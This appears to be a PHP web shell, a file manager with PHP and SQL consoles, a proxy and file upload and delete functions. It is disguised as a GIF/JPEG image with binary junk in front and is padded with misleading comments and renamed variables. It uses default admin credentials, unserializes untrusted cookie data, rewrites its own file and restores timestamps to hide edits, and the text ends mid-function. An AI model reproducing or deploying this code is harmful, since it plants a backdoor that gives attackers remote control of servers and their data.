<!-- GIF89;a -->
<!-- GIF89;a -->
ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ JFIF      ĂŻÂżÂ˝ĂŻÂżÂ˝ ĂŻÂżÂ˝ 	  	 

	



 "" $(4,$&1'-=-157:::#+?D?8C49:7




7%%77777777777777777777777777777777777777777777777777ĂŻÂżÂ˝ĂŻÂżÂ˝  { ĂŻÂżÂ˝" ĂŻÂżÂ˝ĂŻÂżÂ˝               ĂŻÂżÂ˝ĂŻÂżÂ˝ 5        !1AQa"qĂŻÂżÂ˝2ĂŻÂżÂ˝ĂŻÂżÂ˝BRĂŻÂżÂ˝ĂŻÂżÂ˝#bĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝                ĂŻÂżÂ˝ĂŻÂżÂ˝                 ĂŻÂżÂ˝ĂŻÂżÂ˝   ? ĂŻÂżÂ˝ĂŻÂżÂ˝D@DDD@DDD@DDkKĂŻÂżÂ˝ĂŻÂżÂ˝6 ĂŻÂżÂ˝UGĂŻÂżÂ˝4VĂŻÂżÂ˝1ĂŻÂżÂ˝ĂŻÂżÂ˝
ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŤÂŚĹ¸ĂŻÂżÂ˝@ĂŻÂżÂ˝#ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝RYĂŻÂżÂ˝dqpĂŻÂżÂ˝ 
ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ ĂŻÂżÂ˝oĂŻÂżÂ˝7ĂŻÂżÂ˝mĂŻÂżÂ˝sĂŻÂżÂ˝<ĂŻÂżÂ˝ĂŻÂżÂ˝VPSĂŻÂżÂ˝e~VĂŻÂżÂ˝Ăâ 8ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝XĂŻÂżÂ˝TĂŻÂżÂ˝ĂŻÂżÂ˝$ĂŻÂżÂ˝ĂŻÂżÂ˝cĂŻÂżÂ˝ĂŻÂżÂ˝ 9ĂŻÂżÂ˝ĂŻÂżÂ˝ĂĄËâ ĂŻÂżÂ˝m6@ WUĂŻÂżÂ˝fĂŻÂżÂ˝DonĂŻÂżÂ˝ĂŻÂżÂ˝rĂŻÂżÂ˝ĂŻÂżÂ˝5}9ĂŻÂżÂ˝ĂŻÂżÂ˝}ĂŻÂżÂ˝ĂŻÂżÂ˝hcĂŻÂżÂ˝fFĂŻÂżÂ˝ĂŻÂżÂ˝/r=hiĂŻÂżÂ˝ĂŻÂżÂ˝ ĂŻÂżÂ˝ĂâĄĂŻÂżÂ˝*ĂŻÂżÂ˝ĂŻÂżÂ˝ bĂŻÂżÂ˝.ĂŻÂżÂ˝ĂŻÂżÂ˝$0ĂŻÂżÂ˝&teĂŻÂżÂ˝ĂŻÂżÂ˝yĂŻÂżÂ˝@ĂŻÂżÂ˝AĂŻÂżÂ˝FĂŻÂżÂ˝=ĂŻÂżÂ˝ PfĂŻÂżÂ˝AĂŻÂżÂ˝ĂŻÂżÂ˝aĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂÂŞĂŻÂżÂ˝ĂĹĂŻÂżÂ˝Ăâ°ĂŻÂżÂ˝ĂŻÂżÂ˝U|ĂŻÂżÂ˝ ĂŻÂżÂ˝	3\ĂŻÂżÂ˝ĂÂ´ H SZĂŻÂżÂ˝g46ĂŻÂżÂ˝CĂŻÂżÂ˝ĂŻÂżÂ˝ĂÂŚĂŻÂżÂ˝Ăâ	ĂŻÂżÂ˝b<ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝;mĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝RpĂÂš^ĂŻÂżÂ˝ĂŻÂżÂ˝l7ĂŻÂżÂ˝ĂŻÂżÂ˝*ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝TFĂŻÂżÂ˝}ĂŻÂżÂ˝\ĂŻÂżÂ˝MĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝M%ĂŻÂżÂ˝'ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂÂ ĂÂ˝ĂŻÂżÂ˝vĂŻÂżÂ˝ ĂŻÂżÂ˝ĂŻÂżÂ˝!-ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝?ĂŻÂżÂ˝N!LaĂŻÂżÂ˝ĂŻÂżÂ˝A+[`#ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝MĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝'ĂŻÂżÂ˝~oRĂŻÂżÂ˝?ĂŻÂżÂ˝ĂŻÂżÂ˝v^)ĂŻÂżÂ˝ĂŻÂżÂ˝=ĂŻÂżÂ˝ĂŻÂżÂ˝hĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝AĂŻÂżÂ˝ĂŻÂżÂ˝XĂŻÂżÂ˝.ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂĆĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝^ĂÂĂŻÂżÂ˝ĂŻÂżÂ˝ĂÂŻsO"BĂŻÂżÂ˝c>;
ĂŻÂżÂ˝eĂŻÂżÂ˝4ĂŻÂżÂ˝ĂŻÂżÂ˝5ĂŻÂżÂ˝kĂŻÂżÂ˝ĂŻÂżÂ˝/CBĂŻÂżÂ˝ĂŻÂżÂ˝.
 ĂŻÂżÂ˝J?ĂŻÂżÂ˝ĂŻÂżÂ˝;ĂŻÂżÂ˝ĂËĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝~ĂŻÂżÂ˝<ĂŻÂżÂ˝VZĂŻÂżÂ˝ĂŞÂ­Âź2/)ĂâjCĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂÂ˘ĂŻÂżÂ˝VĂŻÂżÂ˝GĂŻÂżÂ˝!ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝!ĂŻÂżÂ˝FĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝\ĂŻÂżÂ˝ĂŻÂżÂ˝ KjĂŻÂżÂ˝RĂŻÂżÂ˝ocĂŻÂżÂ˝hĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝:ĂÂ IĂŻÂżÂ˝ĂŻÂżÂ˝1"2ĂŻÂżÂ˝qĂÂ°8ĂŻÂżÂ˝ĂŻÂżÂ˝ĂÂ @ĂâĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝_C0ĂŻÂżÂ˝ĂâŹĂŻÂżÂ˝ĂŻÂżÂ˝AĂŻÂżÂ˝ĂŻÂżÂ˝lQĂŻÂżÂ˝ĂŻÂżÂ˝@Ă§ÂşÂźĂŻÂżÂ˝!7ĂŻÂżÂ˝ĂŻÂżÂ˝FĂŻÂżÂ˝ĂŻÂżÂ˝ ĂŻÂżÂ˝]ĂŻÂżÂ˝sZ
BĂŻÂżÂ˝62rĂŻÂżÂ˝vĂŻÂżÂ˝z~ĂŻÂżÂ˝KĂŻÂżÂ˝7ĂŻÂżÂ˝cĂŻÂżÂ˝ĂŻÂżÂ˝5ĂŻÂżÂ˝.ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝Ăâq&ĂŻÂżÂ˝ZĂŻÂżÂ˝dĂŻÂżÂ˝<ĂŻÂżÂ˝kkĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝T&8ĂŻÂżÂ˝|ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝IĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ Ws}ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂÂ˝ĂŻÂżÂ˝cqnĂâĂŻÂżÂ˝_ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝3ĂŻÂżÂ˝ĂŻÂżÂ˝|NĂŻÂżÂ˝-y,ĂŻÂżÂ˝ĂŻÂżÂ˝iĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝Ăâ_ĂŻÂżÂ˝\60ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝@ĂŻÂżÂ˝ĂŻÂżÂ˝6ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝D@DDD@DDD@DDD@DDD@DDcĂŻÂżÂ˝KN66<ĂŻÂżÂ˝cĂŻÂżÂ˝ĂŻÂżÂ˝64=rĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝
ĂĹ˝0ĂŻÂżÂ˝ĂŻÂżÂ˝hĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝t&(ĂŻÂżÂ˝hnb[ĂŻÂżÂ˝ ?ĂŻÂżÂ˝ĂŻÂżÂ˝^ĂŻÂżÂ˝ĂŻÂżÂ˝\ĂŻÂżÂ˝ĂŻÂżÂ˝ĂÂ˘|ĂŻÂżÂ˝,ĂŻÂżÂ˝/hĂŻÂżÂ˝\ĂŻÂżÂ˝ĂŻÂżÂ˝RĂŻÂżÂ˝ĂŻÂżÂ˝5ĂŻÂżÂ˝?
ĂŻÂżÂ˝0ĂŻÂżÂ˝!ĂÂŚĂâ°-ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝GĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂÂŹĂŻÂżÂ˝ĂŻÂżÂ˝QĂŻÂżÂ˝zAĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝1ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝VĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ ĂŻÂżÂ˝:RĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝`ĂŻÂżÂ˝$ĂŻÂżÂ˝ĂŻÂżÂ˝ikĂŻÂżÂ˝ĂŻÂżÂ˝HĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝D4ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝#dkĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ hĂŻÂżÂ˝}ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝7ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝w%ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝*o8wGĂŻÂżÂ˝LycuTĂŻÂżÂ˝.ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂÂŻ7ĂŻÂżÂ˝ĂŻÂżÂ˝IĂŻÂżÂ˝ĂŻÂżÂ˝u^ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝)ĂŻÂżÂ˝ĂŻÂżÂ˝/cĂŻÂżÂ˝,sĂŻÂżÂ˝NqĂŻÂżÂ˝ĂÂşĂŻÂżÂ˝;ĂŻÂżÂ˝ĂĹĄĂŻÂżÂ˝YH2ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝.5BĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝DDD@DDD@DDD@DDD@DDD@V|ĂŻÂżÂ˝aĂŻÂżÂ˝j{7cĂŻÂżÂ˝ĂŻÂżÂ˝XĂŻÂżÂ˝F\ĂŻÂżÂ˝3MuAĂÂžhbĂŻÂżÂ˝	ĂŻÂżÂ˝ĂŻÂżÂ˝nĂŻÂżÂ˝ĂŻÂżÂ˝FĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝	ĂŻÂżÂ˝ĂŻÂżÂ˝8ĂŻÂżÂ˝(ĂŻÂżÂ˝ĂŻÂżÂ˝eĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝PpĂŻÂżÂ˝\"GĂŻÂżÂ˝`sĂŻÂżÂ˝ĂŻÂżÂ˝mĂŻÂżÂ˝ĂŻÂżÂ˝ĂÂ§aWĂŻÂżÂ˝KĂŻÂżÂ˝ĂŻÂżÂ˝OĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝|;eiĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂâšĂŻÂżÂ˝[ĂŻÂżÂ˝qĂŻÂżÂ˝ĂŻÂżÂ˝";aĂŻÂżÂ˝ĂŻÂżÂ˝1ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝YĂŻÂżÂ˝GĂŻÂżÂ˝W/ĂŻÂżÂ˝ĂâĄĂŻÂżÂ˝&ĂŻÂżÂ˝<ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂĹĂŻÂżÂ˝H'qĂŻÂżÂ˝mĂŻÂżÂ˝ĂŻÂżÂ˝<sĹĂÂĂĄ0â˘dkĂ.tcË:zÂ­Gâ :<FV2ZuâV

N(ĂŤĂĄâb&1K
ÂźĂĂŤ_Ă{ÂŽÂŽĂĂą5ĂĂ(HĂŚĹĂ­hÂĄÂŁ{Ă¨.ĂâŹËËËâŹËËËâŹËËËâŹËËËâŹËËËĆ*~\<PÂş7 Â¸ÂşĂ­ĂiÂ°ĂŻĂŞÂ JT8âF
	 iĂŤĂĂĂŞĂZZĂÂˇââ˘'Ă ĂĂśxÂ¤âF5sÂ˛ĂŹâ 
ĂąRĂ75ÂĂŻNĂĂ&I,lâĂĂâZĂ¸ĂÂŽĂXÂĄĂĂŠÂ˝_$Â¸oâĄ(ĹĄgÂ´ĂÂ˛ĂšÂŹ5Â§5X?SĂŹÂ¤ĂĂĂŁĂ¸âšĂąâ LvĂ6â ÂľĂ]ÂĂŻĂ|bGĹ<:ÂĂKĹs OĂĂťÂ­ËĂ\|+ HÂ˛YB&âĂâş[Ă§Ă_nĂĆĹ¸ĂźOâ°ĂÂśÂĂAĂÂ¤nĂžĂâÂŁ_rÂ˝ĂHĂ§ÂżW8Ă5VWĂ" """ """ """ """ ""ĂXYÂ ĂŞ?Ă!ÂśÂĂŞ4ĂšĹ˝âĂ­uĂ˛Â ÂŽ8Ĺ˝GÂ˛1AĂśĂEÂ´*ĂĂ˝ĂÂM/ĂĄâÂĄâĂ
Ĺ$@"ĂĂjÂˇĂĽĂÂŠVr;ĂâĄĂĂ[k0eÂ­
sĂĽh>ĂŻÂżÂ˝)ĂŻÂżÂ˝X+!ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝=ĂŻÂżÂ˝mĂŻÂżÂ˝ĂĹĄĂ¤Â¸Âˇ~6a^XĂŻÂżÂ˝)ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝,ĂŻÂżÂ˝>#&6GĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝YĂŻÂżÂ˝ĂŻÂżÂ˝{ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝"" """ """ """ """ ""ĂŻÂżÂ˝ĂŻÂżÂ˝at\/ĂŻÂżÂ˝aĂŻÂżÂ˝8 ĂŻÂżÂ˝yp%ĂŻÂżÂ˝lhlĂŻÂżÂ˝nĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝)ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝iĂŻÂżÂ˝tĂŻÂżÂ˝ĂŻÂżÂ˝BĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝ĂŻÂżÂ˝?ĂŻÂżÂ˝ĂŻÂżÂ˝<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title>modskinlienminh.com - WSOX ENC</title>

<?php
                 
 
	
	
	  		      	 
					 
					 
					 
			    /* PHP File manager Soliaa Version 4.8 */
                    












                                    // File creation was successful and is now ready for use
                  




   

   
   
   
   $authorization_vermosa = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';



		            $php_templates = '{"Settings":"global $form_confoy;\r\nvar_export($form_confoy);","Backup SQL tables":"echo fm_backup_tables();"}';








                 $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





 $translation_mores = '{"id":"ru","Add":"ĐĐžĐąĐ°Đ˛Đ¸ŃŃ","Are you sure you want to delete this directory (recursively)?":"ĐŃ ŃĐ˛ĐľŃĐľĐ˝Ń, ŃŃĐž ŃĐžŃĐ¸ŃĐľ ŃĐ´Đ°ĐťĐ¸ŃŃ ŃŃŃ ĐżĐ°ĐżĐşŃ (ŃĐľĐşŃŃŃĐ¸Đ˛Đ˝Đž)?","Are you sure you want to delete this file?":"ĐŃ ŃĐ˛ĐľŃĐľĐ˝Ń, ŃŃĐž ŃĐžŃĐ¸ŃĐľ ŃĐ´Đ°ĐťĐ¸ŃŃ ŃŃĐžŃ ŃĐ°ĐšĐť?","Archiving":"ĐŃŃĐ¸Đ˛Đ¸ŃĐžĐ˛Đ°ŃŃ","Authorization":"ĐĐ˛ŃĐžŃĐ¸ĐˇĐ°ŃĐ¸Ń","Back":"ĐĐ°ĐˇĐ°Đ´","Cancel":"ĐŃĐźĐľĐ˝Đ°","Chinese":"ĐĐ¸ŃĐ°ĐšŃĐşĐ¸Đš","Compress":"ĐĄĐśĐ°ŃŃ","Console":"ĐĐžĐ˝ŃĐžĐťŃ","Cookie":"ĐŃĐşĐ¸","Created":"ĐĄĐžĐˇĐ´Đ°Đ˝","Date":"ĐĐ°ŃĐ°","Days":"ĐĐ˝ĐľĐš","Decompress":"Đ Đ°ŃĐżĐ°ĐşĐžĐ˛Đ°ŃŃ","Delete":"ĐŁĐ´Đ°ĐťĐ¸ŃŃ","Deleted":"ĐŁĐ´Đ°ĐťĐľĐ˝Đž","Download":"ĐĄĐşĐ°ŃĐ°ŃŃ","done":"ĐˇĐ°ĐşĐžĐ˝ŃĐľĐ˝Đ°","Edit":"Đ ĐľĐ´Đ°ĐşŃĐ¸ŃĐžĐ˛Đ°ŃŃ","Enter":"ĐŃĐžĐ´","English":"ĐĐ˝ĐłĐťĐ¸ĐšŃĐşĐ¸Đš","Error occurred":"ĐŃĐžĐ¸ĐˇĐžŃĐťĐ° ĐžŃĐ¸ĐąĐşĐ°","File manager":"Đ¤Đ°ĐšĐťĐžĐ˛ŃĐš ĐźĐľĐ˝ĐľĐ´ĐśĐľŃ","File selected":"ĐŃĐąŃĐ°Đ˝ ŃĐ°ĐšĐť","File updated":"Đ¤Đ°ĐšĐť ŃĐžŃŃĐ°Đ˝ĐľĐ˝","Filename":"ĐĐźŃ ŃĐ°ĐšĐťĐ°","Files uploaded":"Đ¤Đ°ĐšĐť ĐˇĐ°ĐłŃŃĐśĐľĐ˝","French":"Đ¤ŃĐ°Đ˝ŃŃĐˇŃĐşĐ¸Đš","Generation time":"ĐĐľĐ˝ĐľŃĐ°ŃĐ¸Ń ŃŃŃĐ°Đ˝Đ¸ŃŃ","German":"ĐĐľĐźĐľŃĐşĐ¸Đš","Home":"ĐĐžĐźĐžĐš","Quit":"ĐŃŃĐžĐ´","Language":"ĐŻĐˇŃĐş","Login":"ĐĐžĐłĐ¸Đ˝","Manage":"ĐŁĐżŃĐ°Đ˛ĐťĐľĐ˝Đ¸Đľ","Make directory":"ĐĄĐžĐˇĐ´Đ°ŃŃ ĐżĐ°ĐżĐşŃ","Name":"ĐĐ°Đ¸ĐźĐľĐ˝ĐžĐ˛Đ°Đ˝Đ¸Đľ","New":"ĐĐžĐ˛ĐžĐľ","New file":"ĐĐžĐ˛ŃĐš ŃĐ°ĐšĐť","no fisiere":"Đ˝ĐľŃ ŃĐ°ĐšĐťĐžĐ˛","Password":"ĐĐ°ŃĐžĐťŃ","pictures":"Đ¸ĐˇĐžĐąŃĐ°ĐśĐľĐ˝Đ¸Ń","Recursively":"Đ ĐľĐşŃŃŃĐ¸Đ˛Đ˝Đž","Rename":"ĐĐľŃĐľĐ¸ĐźĐľĐ˝ĐžĐ˛Đ°ŃŃ","Reset":"ĐĄĐąŃĐžŃĐ¸ŃŃ","Reset settings":"ĐĄĐąŃĐžŃĐ¸ŃŃ Đ˝Đ°ŃŃŃĐžĐšĐşĐ¸","Restore file time after editing":"ĐĐžŃŃŃĐ°Đ˝Đ°Đ˛ĐťĐ¸Đ˛Đ°ŃŃ Đ˛ŃĐľĐźŃ ŃĐ°ĐšĐťĐ° ĐżĐžŃĐťĐľ ŃĐľĐ´Đ°ĐşŃĐ¸ŃĐžĐ˛Đ°Đ˝Đ¸Ń","Result":"Đ ĐľĐˇŃĐťŃŃĐ°Ń","Rights":"ĐŃĐ°Đ˛Đ°","Russian":"Đ ŃŃŃĐşĐ¸Đš","Save":"ĐĄĐžŃŃĐ°Đ˝Đ¸ŃŃ","Select":"ĐŃĐąĐľŃĐ¸ŃĐľ","Select the file":"ĐŃĐąĐľŃĐ¸ŃĐľ ŃĐ°ĐšĐť","Settings":"ĐĐ°ŃŃŃĐžĐšĐşĐ°","Show":"ĐĐžĐşĐ°ĐˇĐ°ŃŃ","Show size of the folder":"ĐĐžĐşĐ°ĐˇŃĐ˛Đ°ŃŃ ŃĐ°ĐˇĐźĐľŃ ĐżĐ°ĐżĐşĐ¸","Size":"Đ Đ°ĐˇĐźĐľŃ","Spanish":"ĐŃĐżĐ°Đ˝ŃĐşĐ¸Đš","Submit":"ĐŃĐżŃĐ°Đ˛Đ¸ŃŃ","Task":"ĐĐ°Đ´Đ°ŃĐ°","templates":"ŃĐ°ĐąĐťĐžĐ˝Ń","Ukrainian":"ĐŁĐşŃĐ°Đ¸Đ˝ŃĐşĐ¸Đš","Upload":"ĐĐ°ĐłŃŃĐˇĐ¸ŃŃ","Value":"ĐĐ˝Đ°ŃĐľĐ˝Đ¸Đľ","Hello":"ĐŃĐ¸Đ˛ĐľŃ","Found in fisiere":"ĐĐ°ĐšĐ´ĐľĐ˝Đž Đ˛ ŃĐ°ĐšĐťĐ°Ń","Search":"ĐĐžĐ¸ŃĐş","Recursive search": "Đ ĐľĐşŃŃŃĐ¸Đ˛Đ˝ŃĐš ĐżĐžĐ¸ŃĐş","Mask":"ĐĐ°ŃĐşĐ°"}';
	
 
 
 
 
 
 	   // an error occurred during file creation check if the directory is accessible
                 


       // A file with this name already exists try renaming or choosing a different location

 $startkorn = explode(' ', microtime());










		        $startkorn = $startkorn[1] + $startkorn[0];








$langs_vss = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
                  $path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
                  



	  $pho_core = (version_compare(phpversion(),"5.3.0","<"))?true:false;

              $msg_sekorm = ''; // service string



$default_language = 'ru';
$detect_lang = true;



           $ford_sold = 1.4;


//File not found make sure the path and name are correct



      $auth_motti = json_decode($authorization_vermosa,true);

		        $auth_motti['authorize'] = isset($auth_motti['authorize']) ? $auth_motti['authorize'] : 0; 




 $auth_motti['days_authorization'] = (isset($auth_motti['days_authorization'])&&is_numeric($auth_motti['days_authorization'])) ? (int)$auth_motti['days_authorization'] : 30;








           $auth_motti['login'] = isset($auth_motti['login']) ? $auth_motti['login'] : 'admin';  
          
		         


$auth_motti['password'] = isset($auth_motti['password']) ? $auth_motti['password'] : 'phpfm';  

           

     		      		       $auth_motti['cookie_name'] = isset($auth_motti['cookie_name']) ? $auth_motti['cookie_name'] : 'fm_user';
$auth_motti['script'] = isset($auth_motti['script']) ? $auth_motti['script'] : '';



// Renaming successful the file now has the new name
                     
$fm_dev_cfg = array (
                   
	    'make_directory' => true, 
        
		      



	 'new_file' => true, 
        
	 

	'upload_file' => true, 

	'show_dir_size' => false, //failed to rename the file verify the new name and try again

	'show_img' => true, 
	'show_php_ver' => true, 




		      		        'show_php_ini' => false, // successfully moved the file to the target directory
                  
		      		        


	'show_gt' => true, // pould not move the file check the source and destination paths



	'enable_php_console' => true,
	                        'enable_sql_console' => true,

	'sql_server' => 'localhost',
                     
	'sql_username' => 'root',


		                   'sql_password' => '',

	'sql_db' => 'test_base',

	'enable_proxy' => true,
                   
	'show_phpinfo' => true,
                     
	




	'show_xls' => true,
	
	
	
	
	
	
	 	'fm_settings' => true,

	'restore_time' => true,
                     
	                    'fm_restore_time' => false,

);



if (empty($_COOKIE['fm_config'])) $form_confoy = $fm_dev_cfg;
else $form_confoy = unserialize($_COOKIE['fm_config']);



// File was copied without issues a duplicate is now available

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_motti['days_authorization']));
                     
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}

$language = $default_language;

                  
// Error copying the file ensure the destination directory exists

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
                     
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		      foreach ($lang_priority as $lang_arr){

		      	$lng = explode(';', $lang_arr);
                   
		      	$lng = $lng[0];

		      	if(in_array($lng,$langs_vss)){

		      		      $language = $lng;

		      		      break;

		      	}
		      }
	}
                      
} 
                 


// Directory created and ready for use add files as needed

$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Failed to create the directory please check your permissions




$lang = json_decode($translation_mores,true);

if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {

		      //directory successfully deleted all contents inside it have been removed

		      $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
                 
		      $fgc = file_get_contents(__FILE__);
                    
		      $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		      if (!empty($matches[1])) {
		      	$filemtime = filemtime(__FILE__);
                  
		      	$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
                  
		      	if (file_put_contents(__FILE__, $replace)) {
                  
		      		      $msg_sekorm .= __('File updated');
                    
		      	}	else $msg_sekorm .= __('Error occurred');
                    
		      	if (!empty($form_confoy['fm_restore_time'])) touch(__FILE__,$filemtime);
                   
		      }	
                  
		      $lang = json_decode($translation_string,true); // could not delete the directory ensure it is empty and try again
                      
	}
}

/* File deleted successfully it is no longer in the directory */
                  

                     
//unable to delete the file make sure the file is not in use
function __($text){
                 
	global $lang;

	if (isset($lang[$text])) return $lang[$text];

	else return $text;

};


//failed to open the file verify the file path and format

function fm_del_fisiere($file_usooo, $recursive = false) {
	if($recursive && @is_dir($file_usooo)) {
		      $els = fm_scan_dir($file_usooo, '', '', true);
		      foreach ($els as $el) {
                      
		      	if($el != '.' && $el != '..'){

		      		      fm_del_fisiere($file_usooo . '/' . $el, true);
                      
		      	}
		      }
	}
